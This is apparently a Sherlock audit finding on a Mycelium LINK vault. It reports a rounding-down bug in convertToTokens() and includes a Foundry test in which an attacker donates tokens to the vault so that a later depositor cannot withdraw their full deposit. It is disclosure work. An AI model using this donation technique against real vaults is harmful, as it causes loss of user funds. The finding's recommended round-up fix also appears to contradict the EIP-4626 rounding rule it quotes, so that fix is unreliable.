CRYP70

medium

# Rounding error in `convertToTokens` leads to a loss of user funds

## Summary
The `convertToTokens()` is currently used when redeeming shares for a return of tokens or to check the users balance. This is called in `balanceOf()` which in turn is used in the second check of `withdraw()`. 

## Vulnerability Detail
 EIP-4626 (while ERC-4626 is not explicitly implemented, the concept of tokenized vaults still applies) specifies that developers who implement Vaults need to know about the need for specific, opposite rounding directions across the different mutable and view methods:

-   If the Vault is determining the amount of the underlying tokens to transfer to them for returning a certain amount of shares, it should roundÂ _down_.
    
-   If the Vault is calculating the amount of shares a user has to supply to receive a given amount of the underlying tokens, it should round *up*.

[Source](https://eips.ethereum.org/EIPS/eip-4626)

This bug can be triggered when a malicious user forcibly sends LINK tokens to the vault not as the first investor. 

## Impact
Loss of funds for investing users. I have awarded this a medium in severity because this can be executed at any time and is quite cheap to do. Whilst the attacker doesn't benefit directly from this, the user still suffers a loss (also known as griefing). 

## Code Snippet
https://github.com/sherlock-audit/2022-10-mycelium/blob/main/mylink-contracts/src/Vault.sol#L604

## Proof of Concept
```solidity
pragma solidity ^0.8.9;

import "../../lib/forge-std/src/Test.sol";
import "../../lib/forge-std/src/console.sol";
import "../../src/Vault.sol";
import "../../src/AttackerContract.sol";
import "../../src/plugins/AaveV2Plugin.sol";
import "../utils/Token.sol";
import "openzeppelin/proxy/ERC1967/ERC1967Proxy.sol";


contract MyTests is Test {
    Token public link;
    Vault public vault;
    AaveV2Plugin public aavePlugin;
    address implementation;
    address proxy;

    address public alice = vm.addr(1);
    address public bob = vm.addr(2);
    address public carol = vm.addr(3);
    address public dan = vm.addr(4);
    address public eve = vm.addr(5);
    address public frank = vm.addr(6);
    address public admin = vm.addr(7);

    function setUp() public {

        link = new Token("Chainlink", "LINK");
        vm.startPrank(address(admin));
        implementation = address(new Vault());
        proxy = address(new ERC1967Proxy(implementation, ""));
        vault = Vault(proxy);
        vault.initialize(address(link), address(admin), 10e34, 1000);

        vm.stopPrank();
    }

    function testTriggerRoundingError() public {

        link.mint(address(alice), 1000 ether);
        link.mint(address(eve), 101 ether);
        link.mint(address(bob), 250 ether);

        // Normal traffic of depositing funds
        vm.startPrank(address(bob));
        link.approve(address(vault), 12 ether);
        vault.deposit(12 ether);
        vm.stopPrank();

        vm.startPrank(address(eve));
        link.transfer(address(vault), 1 ether); // Hacky way to trigger rounding error
        vm.stopPrank();

        vm.startPrank(address(alice));
        link.approve(address(vault), 500 ether);
        vault.deposit(500 ether);

        vm.expectRevert("Amount exceeds balance");
        vault.withdraw(500 ether); 
        // Alice's balance is actually 499
        // When changing the convertToTokens() to return with `mulDivUp()`, 
        // the value is readjusted back to right value of 500.
        vm.stopPrank();

    }

}
```

## Tool used
Manual Review

## Recommendation
Instead of rounding down, I recommend implementing the `convertToTokens()` function to round up similarly to the following:
```solidity
    function convertToTokens(uint256 _shares) public view returns (uint256) {
        uint256 shareSupply = totalShares; // saves one SLOAD
        if (shareSupply == 0) {
            return _shares / STARTING_SHARES_PER_LINK;
        }
        return _shares.mulDivUp(totalSupply(), shareSupply); 
    }
```
